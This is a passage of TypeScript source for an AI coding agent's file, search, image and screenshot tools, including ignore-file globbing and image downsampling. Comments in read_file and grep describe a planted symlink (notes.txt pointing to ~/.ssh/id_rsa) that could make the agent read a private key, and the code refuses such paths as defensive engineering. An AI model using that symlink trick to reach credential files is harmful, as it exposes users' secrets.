braceEnd(i);\n if (close === -1) {\n re += \"\\\\{\";\n i += 1;\n continue;\n }\n i += 1;\n const alts: string[] = [];\n for (;;) {\n const part = parseSegment(depth + 1);\n alts.push(part.re);\n if (part.end !== \",\") break;\n i += 1;\n }\n i += 1; // consume \"}\"\n re += `(?:${alts.join(\"|\")})`;\n continue;\n }\n re += escapeRe(c);\n i += 1;\n }\n return { re, end: \"\" };\n }\n\n function braceEnd(from: number): number {\n let depth = 0;\n for (let j = from; j < pattern.length; j++) {\n const ch = pattern.charAt(j);\n if (ch === \"{\") depth += 1;\n else if (ch === \"}\") {\n depth -= 1;\n if (depth === 0) return j;\n }\n }\n return -1;\n }\n\n const { re } = parseSegment(0);\n return new RegExp(`^${re}$`);\n}\n\nexport function matchesGlob(pattern: string, relPath: string): boolean {\n const normalized = pattern.replace(/\\\\/g, \"/\");\n if (!normalized.includes(\"/\")) {\n const base = relPath.split(\"/\").pop() ?? relPath;\n return globToRegExp(normalized).test(base);\n }\n return globToRegExp(normalized).test(relPath);\n}\n\nexport const IGNORE_FILE = \".starignore\";\n\nexport interface IgnorePattern {\n pattern: string;\n dirOnly: boolean;\n}\n\nconst ignoreCache = new Map<string, { mtimeMs: number; patterns: IgnorePattern[] }>();\n\nfunction parseIgnorePatterns(body: string): IgnorePattern[] {\n const out: IgnorePattern[] = [];\n for (const raw of body.split(\"\\n\")) {\n const line = raw.trim();\n if (!line || line.startsWith(\"#\")) {\n continue;\n }\n if (line.endsWith(\"/\")) {\n const pattern = line.slice(0, -1);\n if (pattern) {\n out.push({ pattern, dirOnly: true });\n }\n } else {\n out.push({ pattern: line, dirOnly: false });\n }\n }\n return out;\n}\n\n// Reads <dir>/.starignore. Cached by file path and re-read only when the\n// mtime changes, mirroring readProjectMemory in agent/project-memory.ts.\nexport function loadIgnorePatterns(dir: string): IgnorePattern[] {\n const file = path.join(dir, IGNORE_FILE);\n let mtimeMs: number;\n try {\n mtimeMs = statSync(file).mtimeMs;\n } catch {\n return [];\n }\n const hit = ignoreCache.get(file);\n if (hit && hit.mtimeMs === mtimeMs) {\n return hit.patterns;\n }\n let patterns: IgnorePattern[] = [];\n try {\n patterns = parseIgnorePatterns(readFileSync(file, \"utf8\"));\n } catch {\n patterns = [];\n }\n ignoreCache.set(file, { mtimeMs, patterns });\n return patterns;\n}\n\n// Builds an ignore predicate from <cwd>/.starignore, or undefined when there\n// are no patterns so callers keep a zero-overhead path. Paths are matched\n// relative to cwd with forward slashes; \"!\" negation is not supported.\nexport function createIgnorePredicate(cwd: string): IgnorePredicate | undefined {\n const patterns = loadIgnorePatterns(cwd);\n if (patterns.length === 0) {\n return undefined;\n }\n const root = path.resolve(cwd);\n return (absPath, isDir) => {\n const rel = path.relative(root, absPath).split(path.sep).join(\"/\");\n if (!rel || rel.startsWith(\"..\")) {\n return false;\n }\n for (const { pattern, dirOnly } of patterns) {\n if (dirOnly && !isDir) {\n continue;\n }\n if (matchesGlob(pattern, rel)) {\n return true;\n }\n }\n return false;\n };\n}\n\nexport { isSensitivePath } from \"../../core/sensitive\";\n","import { readFile, realpath, stat } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport {\n type WalkedFile,\n createIgnorePredicate,\n isSensitivePath,\n matchesGlob,\n walkFiles,\n} from \"./util\";\n\nconst MAX_MATCHES = 250;\nconst MAX_LINE_CHARS = 500;\nconst MAX_PATTERN_CHARS = 200;\nconst MAX_FILE_BYTES = 5 * 1024 * 1024;\n\n// Very long patterns are usually pasted blobs, and a quantified group is the\n// classic catastrophic-backtracking shape — reject both before they hang the\n// process on a large tree.\nfunction isTooComplexPattern(pattern: string): boolean {\n return (\n pattern.length > MAX_PATTERN_CHARS || /\\)[+*]/.test(pattern) || /\\)\\{\\d+(,\\d*)?\\}/.test(pattern)\n );\n}\n\nconst schema = z.object({\n pattern: z.string().describe(\"Regular expression to search for\"),\n path: z\n .string()\n .optional()\n .describe(\"File or directory to search, defaults to the working directory\"),\n glob: z\n .string()\n .optional()\n .describe(\"Glob pattern to filter which files are searched, e.g. '*.ts'\"),\n ignoreCase: z.boolean().optional().describe(\"Case-insensitive matching\"),\n});\n\nexport const grepTool: Tool<typeof schema> = {\n name: \"grep\",\n description:\n \"Search file contents with a regular expression. Outputs 'file:line:content', up to 250 matches. Skips binary files, files over 5MB, sensitive files, node_modules and .git.\",\n permission: \"read\",\n parameters: schema,\n async execute(args, ctx) {\n if (isTooComplexPattern(args.pattern)) {\n return {\n content: `pattern too complex: keep it under ${MAX_PATTERN_CHARS} characters and avoid quantified groups like (a+)+`,\n isError: true,\n };\n }\n let re: RegExp;\n try {\n re = new RegExp(args.pattern, args.ignoreCase ? \"i\" : \"\");\n } catch (err) {\n return { content: `Invalid regular expression: ${(err as Error).message}`, isError: true };\n }\n const root = path.resolve(ctx.cwd, args.path ?? \".\");\n let files: WalkedFile[];\n try {\n const st = await stat(root);\n if (st.isFile()) {\n // Symlink targets are checked too: a link named notes.txt can point\n // at a sensitive file whose resolved basename is on the blocklist.\n const resolved = await realpath(root).catch(() => null);\n if (isSensitivePath(root) || (resolved !== null && isSensitivePath(resolved))) {\n return {\n content: `Refused to grep sensitive file: ${args.path ?? \".\"}`,\n isError: true,\n };\n }\n files = [{ abs: root, rel: path.basename(root), mtimeMs: st.mtimeMs }];\n } else {\n const walked = await walkFiles(root, undefined, {\n ignore: createIgnorePredicate(ctx.cwd),\n withMtime: false,\n });\n files = walked.filter((f) => !isSensitivePath(f.abs));\n }\n } catch {\n return { content: `Path not found: ${args.path ?? \".\"}`, isError: true };\n }\n if (args.glob) {\n const glob = args.glob;\n files = files.filter((f) => matchesGlob(glob, f.rel));\n }\n const out: string[] = [];\n let truncated = false;\n let skippedLarge = 0;\n outer: for (const file of files) {\n const st = await stat(file.abs).catch(() => null);\n if (!st) {\n continue;\n }\n if (st.size > MAX_FILE_BYTES) {\n skippedLarge += 1;\n continue;\n }\n let buf: Buffer;\n try {\n buf = await readFile(file.abs);\n } catch {\n continue;\n }\n if (buf.includes(0)) {\n continue;\n }\n const lines = buf.toString(\"utf8\").split(\"\\n\");\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i] ?? \"\";\n if (re.test(line)) {\n const shown = line.length > MAX_LINE_CHARS ? `${line.slice(0, MAX_LINE_CHARS)}…` : line;\n out.push(`${file.rel}:${i + 1}:${shown}`);\n if (out.length >= MAX_MATCHES) {\n truncated = true;\n break outer;\n }\n }\n }\n }\n const skippedNote =\n skippedLarge > 0 ? `(skipped ${skippedLarge} file(s) larger than 5MB)` : null;\n if (out.length === 0) {\n return {\n content: `No matches for pattern: ${args.pattern}${skippedNote ? ` ${skippedNote}` : \"\"}`,\n };\n }\n if (truncated) {\n out.push(`... (truncated: more than ${MAX_MATCHES} matches)`);\n }\n if (skippedNote) {\n out.push(`... ${skippedNote}`);\n }\n return { content: out.join(\"\\n\") };\n },\n};\n","import { open, realpath, stat } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport { isSensitivePath } from \"./util\";\n\nconst DEFAULT_LIMIT = 2000;\nconst MAX_CHARS = 100 * 1024;\n// Output is capped at 100KB anyway, so reading past 1MB can never be shown.\nconst MAX_READ_BYTES = 1024 * 1024;\nconst BINARY_PROBE_BYTES = 8192;\n\nfunction decodeUtf16be(buf: Buffer): string {\n const len = buf.length - (buf.length % 2);\n const swapped = Buffer.allocUnsafe(len);\n for (let k = 0; k < len; k += 2) {\n swapped[k] = buf[k + 1] ?? 0;\n swapped[k + 1] = buf[k] ?? 0;\n }\n return swapped.toString(\"utf16le\");\n}\n\n// A UTF-16 BOM means the file is text (its NUL bytes are expected); without a\n// BOM, a NUL in the first 8KB marks a binary file.\nfunction decodeTextBuffer(buf: Buffer): { text: string } | { binary: true } {\n if (buf.length >= 2 && buf[0] === 0xff && buf[1] === 0xfe) {\n return { text: buf.subarray(2).toString(\"utf16le\") };\n }\n if (buf.length >= 2 && buf[0] === 0xfe && buf[1] === 0xff) {\n return { text: decodeUtf16be(buf.subarray(2)) };\n }\n if (buf.subarray(0, BINARY_PROBE_BYTES).includes(0)) {\n return { binary: true };\n }\n return { text: buf.toString(\"utf8\") };\n}\n\nconst schema = z.object({\n path: z.string().describe(\"File path, absolute or relative to the working directory\"),\n offset: z\n .number()\n .int()\n .positive()\n .optional()\n .describe(\"1-based line number to start reading from\"),\n limit: z\n .number()\n .int()\n .positive()\n .optional()\n .describe(\"Maximum number of lines to read (default 2000)\"),\n});\n\n// Per-tool-instance cache of what was already sent to the model, so a re-read\n// of an unchanged file (same mtime + size) whose requested line range was\n// already returned answers with a one-line note instead of re-billing the\n// full content (aider's read-file dedup). Keyed by realpath when resolvable.\ninterface ReadCacheEntry {\n mtimeMs: number;\n size: number;\n totalLines: number;\n start: number;\n end: number;\n}\nconst READ_CACHE_MAX_ENTRIES = 200;\n\nexport function createReadFileTool(): Tool<typeof schema> {\n const cache = new Map<string, ReadCacheEntry>();\n return {\n name: \"read_file\",\n description:\n \"Read a text file and return its contents with line numbers. Output is truncated to 2000 lines or 100KB by default. Re-reading an unchanged file range returns a short note instead of the content.\",\n permission: \"read\",\n parameters: schema,\n reset: () => cache.clear(),\n async execute(args, ctx) {\n const filePath = path.resolve(ctx.cwd, args.path);\n // Check both the given path and its symlink target: a repo can plant a\n // harmless-looking link (notes.txt -> ~/.ssh/id_rsa) whose resolved name\n // is on the sensitive list. Unresolvable paths keep the raw-path check.\n const resolvedPath = await realpath(filePath).catch(() => null);\n if (isSensitivePath(filePath) || (resolvedPath !== null && isSensitivePath(resolvedPath))) {\n return { content: `Refused to read sensitive file: ${args.path}`, isError: true };\n }\n const st = await stat(filePath).catch(() => null);\n if (!st) {\n return { content: `File not found: ${args.path}`, isError: true };\n }\n if (st.isDirectory()) {\n return { content: `Path is a directory, not a file: ${args.path}`, isError: true };\n }\n const start = args.offset ?? 1;\n const limit = args.limit ?? DEFAULT_LIMIT;\n const cacheKey = resolvedPath ?? filePath;\n const hit = cache.get(cacheKey);\n if (hit && hit.mtimeMs === st.mtimeMs && hit.size === st.size) {\n const requestedEnd = Math.min(hit.totalLines, start - 1 + limit);\n if (start >= hit.start && requestedEnd <= hit.end && start <= hit.totalLines) {\n return {\n content: `[unchanged since last read: ${args.path} — lines ${start}-${requestedEnd} of ${hit.totalLines} are already in context and the file has not changed]`,\n };\n }\n }\n const bytesToRead = Math.min(st.size, MAX_READ_BYTES);\n const fileCapped = st.size > MAX_READ_BYTES;\n const handle = await open(filePath, \"r\").catch(() => null);\n if (!handle) {\n return { content: `Failed to read ${args.path}`, isError: true };\n }\n let buf: Buffer;\n try {\n const { bytesRead, buffer } = await handle.read(\n Buffer.alloc(bytesToRead),\n 0,\n bytesToRead,\n 0,\n );\n buf = buffer.subarray(0, bytesRead);\n } finally {\n await handle.close().catch(() => {});\n }\n const decoded = decodeTextBuffer(buf);\n if (\"binary\" in decoded) {\n return { content: `Cannot read binary file: ${args.path}`, isError: true };\n }\n const lines = decoded.text.split(\"\\n\");\n const totalDesc = fileCapped ? `at least ${lines.length}` : `${lines.length}`;\n if (start > lines.length) {\n return { content: `(offset ${start} beyond end of file; file has ${totalDesc} lines)` };\n }\n const end = Math.min(lines.length, start - 1 + limit);\n const out: string[] = [];\n let size = 0;\n let truncatedBySize = false;\n for (let i = start - 1; i < end; i++) {\n const line = (lines[i] ?? \"\").replace(/\\r$/, \"\");\n const numbered = `${i + 1}\\t${line}`;\n if (size + numbered.length > MAX_CHARS) {\n truncatedBySize = true;\n break;\n }\n out.push(numbered);\n size += numbered.length;\n }\n const lastShown = start - 1 + out.length;\n if (truncatedBySize) {\n out.push(\n `... (truncated: output exceeds 100KB, showing lines ${start}-${lastShown} of ${totalDesc})`,\n );\n } else if (end < lines.length || fileCapped) {\n out.push(`... (truncated: showing lines ${start}-${end} of ${totalDesc})`);\n }\n if (out.length > 0) {\n if (cache.size >= READ_CACHE_MAX_ENTRIES) cache.clear();\n const prev = hit?.mtimeMs === st.mtimeMs && hit.size === st.size ? hit : undefined;\n cache.set(cacheKey, {\n mtimeMs: st.mtimeMs,\n size: st.size,\n totalLines: lines.length,\n // Extend the remembered range when the new read overlaps or abuts\n // the previous one; disjoint ranges replace it.\n start: prev && start <= prev.end + 1 ? Math.min(prev.start, start) : start,\n end: prev && lastShown >= prev.start - 1 ? Math.max(prev.end, lastShown) : lastShown,\n });\n }\n return { content: out.join(\"\\n\") };\n },\n };\n}\n\n// Shared instance for direct consumers (tests); the tool registry creates a\n// fresh one per agent loop so a subagent's cache never claims content that\n// only the parent's context holds.\nexport const readFileTool = createReadFileTool();\n","import { readFile, realpath, stat } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport { probeImageDimensions } from \"../../core/image\";\nimport { downsampleImageIfNeeded } from \"../../core/image-resize\";\nimport type { ImageInput } from \"../../core/messages\";\nimport type { Tool } from \"../types\";\nimport { isSensitivePath } from \"./util\";\n\n// Same ceiling as @-mention image reads (src/cli/mentions.ts).\nconst MAX_IMAGE_BYTES = 5 * 1024 * 1024;\n\nconst IMAGE_MIME_TYPES: Record<string, string> = {\n \".png\": \"image/png\",\n \".jpg\": \"image/jpeg\",\n \".jpeg\": \"image/jpeg\",\n \".gif\": \"image/gif\",\n \".webp\": \"image/webp\",\n};\n\nconst schema = z.object({\n path: z\n .string()\n .describe(\n \"Image file path (png/jpg/jpeg/gif/webp), absolute or relative to the working directory\",\n ),\n});\n\n// Lets the model pull an image into the conversation mid-session (a screenshot\n// the user mentioned, a generated asset, a UI mock). The image itself is not\n// in the text result — the loop attaches it to the history as a user message\n// with image parts (see ToolResult.images), so every protocol sees it the same\n// way as a pasted image.\nexport const readImageTool: Tool<typeof schema> = {\n name: \"read_image\",\n description:\n \"Read an image file (png, jpg, gif, webp) and show it to the model. Use this whenever the user references a screenshot, diagram, or picture file you need to see. Images larger than 2000px are downsampled automatically.\",\n permission: \"read\",\n parameters: schema,\n async execute(args, ctx) {\n const filePath = path.resolve(ctx.cwd, args.path);\n // Same symlink-aware sensitive check as read_file.\n const resolvedPath = await realpath(filePath).catch(() => null);\n if (isSensitivePath(filePath) || (resolvedPath !== null && isSensitivePath(resolvedPath))) {\n return { content: `Refused to read sensitive file: ${args.path}`, isError: true };\n }\n const mimeType = IMAGE_MIME_TYPES[path.extname(filePath).toLowerCase()];\n if (!mimeType) {\n return {\n content: `Not a supported image (png/jpg/jpeg/gif/webp): ${args.path}`,\n isError: true,\n };\n }\n const st = await stat(filePath).catch(() => null);\n if (!st || !st.isFile()) {\n return { content: `File not found: ${args.path}`, isError: true };\n }\n if (st.size > MAX_IMAGE_BYTES) {\n return {\n content: `Image too large (${Math.round(st.size / 1024)}KB > ${MAX_IMAGE_BYTES / 1024}KB): ${args.path}`,\n isError: true,\n };\n }\n const buf = await readFile(filePath).catch(() => null);\n if (!buf || buf.length === 0) {\n return { content: `Failed to read ${args.path}`, isError: true };\n }\n if (!probeImageDimensions(buf)) {\n return {\n content: `File is not a valid image (unrecognized header): ${args.path}`,\n isError: true,\n };\n }\n const downsampled = await downsampleImageIfNeeded({\n path: args.path,\n mimeType,\n data: buf.toString(\"base64\"),\n });\n if (downsampled.oversized && !downsampled.resized) {\n return {\n content: `Image exceeds 2000px and could not be downsampled on this platform: ${args.path}`,\n isError: true,\n };\n }\n const image: ImageInput = downsampled.image;\n const dims = probeImageDimensions(Buffer.from(image.data, \"base64\"));\n const sizeKB = Math.round(image.data.length / 1024);\n const desc = dims ? `${dims.width}x${dims.height}` : \"unknown dimensions\";\n const resizedNote = downsampled.resized ? \" (downsampled to fit 2000px)\" : \"\";\n return {\n content: `Image loaded: ${args.path} (${desc}, ~${sizeKB}KB)${resizedNote}. The image is attached below — look at it now.`,\n images: [image],\n };\n },\n};\n","import { execFile } from \"node:child_process\";\nimport { randomUUID } from \"node:crypto\";\nimport { readFile, unlink, writeFile } from \"node:fs/promises\";\nimport os from \"node:os\";\nimport path from \"node:path\";\nimport { promisify } from \"node:util\";\nimport { MAX_IMAGE_DIMENSION, probeImageDimensions } from \"./image\";\nimport type { ImageInput } from \"./messages\";\n\nexport const RESIZE_TIMEOUT_MS = 10_000;\n\nconst execFileAsync = promisify(execFile);\n\nexport interface ResizeCommand {\n command: string;\n args: string[];\n}\n\nexport function windowsResizeScript(\n inputFile: string,\n outputFile: string,\n maxDimension: number,\n): string {\n const input = inputFile.replace(/'/g, \"''\");\n const output = outputFile.replace(/'/g, \"''\");\n return [\n \"Add-Type -AssemblyName System.Drawing\",\n `$img = [System.Drawing.Image]::FromFile('${input}')`,\n `$scale = [Math]::Min(1.0, ${maxDimension} / [Math]::Max($img.Width, $img.Height))`,\n \"$w = [int][Math]::Max(1, [Math]::Round($img.Width * $scale))\",\n \"$h = [int][Math]::Max(1, [Math]::Round($img.Height * $scale))\",\n \"$bmp = New-Object System.Drawing.Bitmap($w, $h)\",\n \"$g = [System.Drawing.Graphics]::FromImage($bmp)\",\n \"$g.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::HighQualityBicubic\",\n \"$g.DrawImage($img, 0, 0, $w, $h)\",\n `$bmp.Save('${output}', [System.Drawing.Imaging.ImageFormat]::Png)`,\n \"$g.Dispose(); $bmp.Dispose(); $img.Dispose()\",\n ].join(\"; \");\n}\n\n// Platform-native resize command, or null when no tool is available. All\n// variants keep the aspect ratio and bound the longest side to maxDimension;\n// the output is always PNG.\nexport function resizeImagePlan(\n platform: NodeJS.Platform,\n inputFile: string,\n outputFile: string,\n maxDimension: number,\n tools: { hasConvert?: boolean; hasFfmpeg?: boolean } = {},\n): ResizeCommand | null {\n if (platform === \"win32\") {\n return {\n command: \"powershell.exe\",\n args: [\n \"-NoProfile\",\n \"-NonInteractive\",\n \"-Command\",\n windowsResizeScript(inputFile, outputFile, maxDimension),\n ],\n };\n }\n if (platform === \"darwin\") {\n return {\n command: \"sips\",\n args: [\"-Z\", String(maxDimension), inputFile, \"--out\", outputFile],\n };\n }\n if (platform === \"linux\") {\n if (tools.hasConvert) {\n return {\n command: \"convert\",\n // -auto-orient keeps EXIF-rotated photos upright after the resize\n // strips their orientation metadata.\n args: [\n inputFile,\n \"-auto-orient\",\n \"-resize\",\n `${maxDimension}x${maxDimension}>`,\n outputFile,\n ],\n };\n }\n if (tools.hasFfmpeg) {\n return {\n command: \"ffmpeg\",\n args: [\n \"-y\",\n \"-i\",\n inputFile,\n \"-vf\",\n `scale='if(gt(iw,ih),min(iw,${maxDimension}),-1)':'if(gt(iw,ih),-1,min(ih,${maxDimension}))'`,\n outputFile,\n ],\n };\n }\n return null;\n }\n return null;\n}\n\nasync function commandExists(command: string): Promise<boolean> {\n const checker = process.platform === \"win32\" ? \"where\" : \"which\";\n try {\n await execFileAsync(checker, [command], { timeout: RESIZE_TIMEOUT_MS });\n return true;\n } catch {\n return false;\n }\n}\n\nexport interface DownsampledImage {\n image: ImageInput;\n /** The source exceeded MAX_IMAGE_DIMENSION on its longest side. */\n oversized: boolean;\n /** The image was actually resized to fit; false when no platform tool was available or resizing failed. */\n resized: boolean;\n}\n\n// Downsamples an image whose longest side exceeds MAX_IMAGE_DIMENSION using\n// platform-native tools (no npm image dependency). Undimensionable or small\n// images pass through untouched; when resizing is impossible the original is\n// kept with oversized=true so the caller can warn instead of failing silently.\nexport async function downsampleImageIfNeeded(image: ImageInput): Promise<DownsampledImage> {\n const buf = Buffer.from(image.data, \"base64\");\n const dims = probeImageDimensions(buf);\n if (!dims || Math.max(dims.width, dims.height) <= MAX_IMAGE_DIMENSION) {\n return { image, oversized: false, resized: false };\n }\n const inputFile = path.join(os.tmpdir(), `star-image-${randomUUID()}.src`);\n const outputFile = path.join(os.tmpdir(), `star-image-${randomUUID()}.png`);\n try {\n const [hasConvert, hasFfmpeg] =\n process.platform === \"linux\"\n ? await Promise.all([commandExists(\"convert\"), commandExists(\"ffmpeg\")])\n : [false, false];\n const plan = resizeImagePlan(process.platform, inputFile, outputFile, MAX_IMAGE_DIMENSION, {\n hasConvert,\n hasFfmpeg,\n });\n if (!plan) return { image, oversized: true, resized: false };\n await writeFile(inputFile, buf);\n await execFileAsync(plan.command, plan.args, { timeout: RESIZE_TIMEOUT_MS });\n const out = await readFile(outputFile).catch(() => null);\n if (!out || out.length === 0) return { image, oversized: true, resized: false };\n return {\n image: { path: image.path, mimeType: \"image/png\", data: out.toString(\"base64\") },\n oversized: true,\n resized: true,\n };\n } catch {\n return { image, oversized: true, resized: false };\n } finally {\n await unlink(inputFile).catch(() => {});\n await unlink(outputFile).catch(() => {});\n }\n}\n","import { mkdir, writeFile } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport { captureSnapshot, pushSnapshot } from \"./snapshots\";\n\nconst schema = z.object({\n path: z.string().describe(\"File path, absolute or relative to the working directory\"),\n content: z.string().describe(\"Full content to write to the file\"),\n});\n\nexport const writeFileTool: Tool<typeof schema> = {\n name: \"write_file\",\n description:\n \"Write content to a file, creating parent directories as needed. Overwrites existing files.\",\n permission: \"write\",\n parameters: schema,\n async execute(args, ctx) {\n const filePath = path.resolve(ctx.cwd, args.path);\n const snapshot = await captureSnapshot(filePath, \"write_file\", ctx.snapshotContext);\n try {\n await mkdir(path.dirname(filePath), { recursive: true });\n await writeFile(filePath, args.content, \"utf8\");\n } catch (err) {\n return { content: `Failed to write ${args.path}: ${(err as Error).message}`, isError: true };\n }\n await pushSnapshot(snapshot);\n return { content: `Wrote ${Buffer.byteLength(args.content, \"utf8\")} bytes to ${args.path}` };\n },\n};\n","import { z } from \"zod\";\nimport { probeImageDimensions } from \"../core/image\";\nimport { type ScreenshotResult, captureScreenshot } from \"../core/screenshot\";\nimport type { Tool } from \"./types\";\n\nconst schema = z.object({});\n\n// Lets the model look at the actual screen mid-session — the visual debugging\n// counterpart of read_image: start a dev server or GUI program, screenshot,\n// then judge the real rendered output instead of guessing from code. The\n// capture function is injectable so tests never touch a real display.\nexport function createScreenshotTool(\n capture: () => Promise<ScreenshotResult> = captureScreenshot,\n): Tool<typeof schema> {\n return {\n name: \"screenshot\",\n description:\n \"Capture a screenshot of the primary display and see it. Use this to check the actual visual result of a running program (web page, GUI) — e.g. after starting a dev server — instead of inferring from code. The capture shows exactly what is visible on screen, including overlapping windows: content hidden behind other windows cannot be seen, so if a specific window matters ask the user to bring it to the front first. Note the capture may include anything else currently on screen.\",\n permission: \"read\",\n parameters: schema,\n async execute() {\n const result = await capture();\n if (!result.ok) {\n return { content: `Screenshot failed: ${result.error}`, isError: true };\n }\n const image = result.image;\n const dims = probeImageDimensions(Buffer.from(image.data, \"base64\"));\n const sizeKB = Math.round(image.data.length / 1024);\n const desc = dims ? `${dims.width}x${dims.height}` : \"unknown dimensions\";\n return {\n content: `Screenshot captured (${desc}, ~${sizeKB}KB). The image is attached below — look at it now.`,\n images: [image],\n };\n },\n };\n}\n\nexport const screenshotTool = createScreenshotTool();\n","import { execFile } from \"node:child_process\";\nimport { randomUUID } from \"node:crypto\";\nimport { readFile, unlink } from \"node:fs/promises\";\nimport os from \"node:os\";\nimport path from \"node:path\";\nimport { promisify } from \"node:util\";\nimport { probeImageDimensions } from \"./image\";\nimport { downsampleImageIfNeeded } from \"./image-resize\";\nimport type { ImageInput } from \"./messages\";\n\nexport const SCREENSHOT_TIMEOUT_MS = 20_000;\n\nconst execFileAsync = promisify(execFile);\n\nexport interface ScreenshotCommand {\n command: string;\n args: string[];\n}\n\nexport type ScreenshotResult = { ok: true; image: ImageInput } | { ok: false; error: string };\n\n// Windows capture script: copies the primary screen into a PNG. The position\n// problem on Windows is DPI virtualization — when the process is not truly\n// per-monitor DPI aware, the Bounds Forms reports and the pixels CopyFromScreen\n// reads live in different coordinate spaces, so at 125%/150% scaling the\n// capture comes out offset and wrongly sized. Setting per-monitor-V2 awareness\n// before touching Forms/Drawing makes both sides physical pixels; the call\n// fails harmlessly when the host manifest already pinned awareness (system\n// awareness is still physically correct on the primary display).\nexport function windowsScreenshotScript(outputFile: string): string {\n const output = outputFile.replace(/'/g, \"''\");\n return [\n \"try { Add-Type -MemberDefinition '[DllImport(\\\"user32.dll\\\")] public static extern bool SetProcessDpiAwarenessContext(int v);' -Name Dpi -Namespace StarShot -ErrorAction Stop; [void][StarShot.Dpi]::SetProcessDpiAwarenessContext(-4) } catch { }\",\n \"Add-Type -AssemblyName System.Windows.Forms,System.Drawing\",\n \"$b = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds\",\n \"$bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height)\",\n \"$g = [System.Drawing.Graphics]::FromImage($bmp)\",\n \"$g.CopyFromScreen($b.Left, $b.Top, 0, 0, $bmp.Size)\",\n `$bmp.Save('${output}', [System.Drawing.Imaging.ImageFormat]::Png)`,\n \"$g.Dispose(); $bmp.Dispose()\",\n ].join(\"; \");\n}\n\n// Platform-native capture command writing a PNG to outputFile, or null when\n// this platform/session cannot take screenshots. Windows/macOS capture the\n// primary display only — one deterministic file and physically exact bounds,\n// even on mixed-DPI multi-monitor setups; Linux tools capture the whole\n// compositor/root window (all monitors composited).\nexport function screenshotPlan(\n platform: NodeJS.Platform,\n outputFile: string,\n env: NodeJS.ProcessEnv = process.env,\n tools: Record<string, boolean> = {},\n): ScreenshotCommand | null {\n if (platform === \"win32\") {\n return {\n command: \"powershell.exe\",\n args: [\"-NoProfile\", \"-NonInteractive\", \"-Command\", windowsScreenshotScript(outputFile)],\n };\n }\n if (platform === \"darwin\") {\n // -x silences the shutter sound; -D 1 pins the main display so a single\n // output file is deterministic no matter how many monitors are attached.\n return { command: \"screencapture\", args: [\"-x\", \"-D\", \"1\", outputFile] };\n }\n if (platform === \"linux\") {\n if (env.WAYLAND_DISPLAY) {\n if (tools.grim) return { command: \"grim\", args: [outputFile] };\n if (tools[\"gnome-screenshot\"]) {\n return { command: \"gnome-screenshot\", args: [\"-f\", outputFile] };\n }\n if (tools.spectacle) {\n return { command: \"spectacle\", args: [\"-b\", \"-n\", \"-o\", outputFile] };\n }\n return null;\n }\n if (env.DISPLAY) {\n if (tools.import) return { command: \"import\", args: [\"-window\", \"root\", outputFile] };\n if (tools.scrot) return { command: \"scrot\", args: [\"--overwrite\", outputFile] };\n if (tools[\"gnome-screenshot\"]) {\n return { command: \"gnome-screenshot\", args: [\"-f\", outputFile] };\n }\n if (tools.spectacle) {\n return { command: \"spectacle\", args: [\"-b\", \"-n\", \"-o\", outputFile] };\n }\n return null;\n }\n return null;\n }\n return null;\n}\n\nexport function noScreenshotToolMessage(\n platform: NodeJS.Platform,\n env: NodeJS.ProcessEnv = process.env,\n): string {\n if (platform === \"linux\") {\n if (!env.WAYLAND_DISPLAY && !env.DISPLAY) {\n return \"no display server (neither DISPLAY nor WAYLAND_DISPLAY is set) — this session is headless (e.g. SSH), there is no screen to capture\";\n }\n return \"no screenshot tool found — install one of: grim or spectacle (Wayland), scrot or ImageMagick's import (X11), or gnome-screenshot\";\n }\n return `screenshots are not supported on this platform (${platform})`;\n}\n\nasync function commandExists(command: string): Promise<boolean> {\n const checker = process.platform === \"win32\" ? \"where\" : \"which\";\n try {\n await execFileAsync(checker, [command], { timeout: SCREENSHOT_TIMEOUT_MS });\n return true;\n } catch {\n return false;\n }\n}\n\nconst LINUX_TOOL_NAMES = [\"grim\", \"gnome-screenshot\", \"spectacle\", \"import\", \"scrot\"];\n\n// Captures the screen into a temp PNG via platform-native tools (no npm image\n// dependency), downsamples past 2000px like read_image, and returns the image\n// for the loop to attach to the history. Failures come back as messages the\n// model can act on instead of exceptions.\nexport async function captureScreenshot(): Promise<ScreenshotResult> {\n const outputFile = path.join(os.tmpdir(), `star-screenshot-${randomUUID()}.png`);\n try {\n const tools: Record<string, boolean> = {};\n if (process.platform === \"linux\") {\n const found = await Promise.all(LINUX_TOOL_NAMES.map(commandExists));\n for (const [i, name] of LINUX_TOOL_NAMES.entries()) {\n tools[name] = found[i] ?? false;\n }\n }\n const plan = screenshotPlan(process.platform, outputFile, process.env, tools);\n if (!plan) {\n return { ok: false, error: noScreenshotToolMessage(process.platform) };\n }\n try {\n await execFileAsync(plan.command, plan.args, { timeout: SCREENSHOT_TIMEOUT_MS });\n } catch (err) {\n const detail = err instanceof Error && err.message ? ` (${err.message})` : \"\";\n return { ok: false, error: `${plan.command} failed to capture the screen${detail}` };\n }\n const buf = await readFile(outputFile).catch(() => null);\n if (!buf || buf.length === 0) {\n return { ok: false, error: `${plan.command} produced no image file` };\n }\n if (!probeImageDimensions(buf)) {\n return { ok: false, error: `${plan.command} produced an unrecognized image file` };\n }\n const downsampled = await downsampleImageIfNeeded({\n path: \"screen\",\n mimeType: \"image/png\",\n data: buf.toString(\"base64\"),\n });\n if (downsampled.oversized && !downsampled.resized) {\n return {\n ok: false,\n error: \"screenshot exceeds 2000px and could not be downsampled on this platform\",\n };\n }\n return { ok: true, image: downsampled.image };\n } finally {\n await unlink(outputFile).catch(() => {});\n }\n}\n","import { z } from \"zod\";\nimport { type AgentTaskSnapshot, defaultAgentTasks } from \"../agent/agent-tasks\";\nimport { formatDuration, formatTaskLine, formatTaskList } from \"../tasks/format\";\nimport { defaultTaskManager } from \"../tasks/manager\";\nimport { MAX_OUTPUT } from \"./bash\";\nimport type { Tool } from \"./types\";\n\nconst idSchema = z.object({\n id: z.string().describe(\"Task id, e.g. task-1 or agent-1\"),\n});\n\n// Aligns with the foreground bash output cap: keep the tail, note the cut.\nfunction truncateOutput(s: string): string {\n if (s.length <= MAX_OUTPUT) return s;\n return `[... earlier output truncated; showing the last ${MAX_OUTPUT} characters 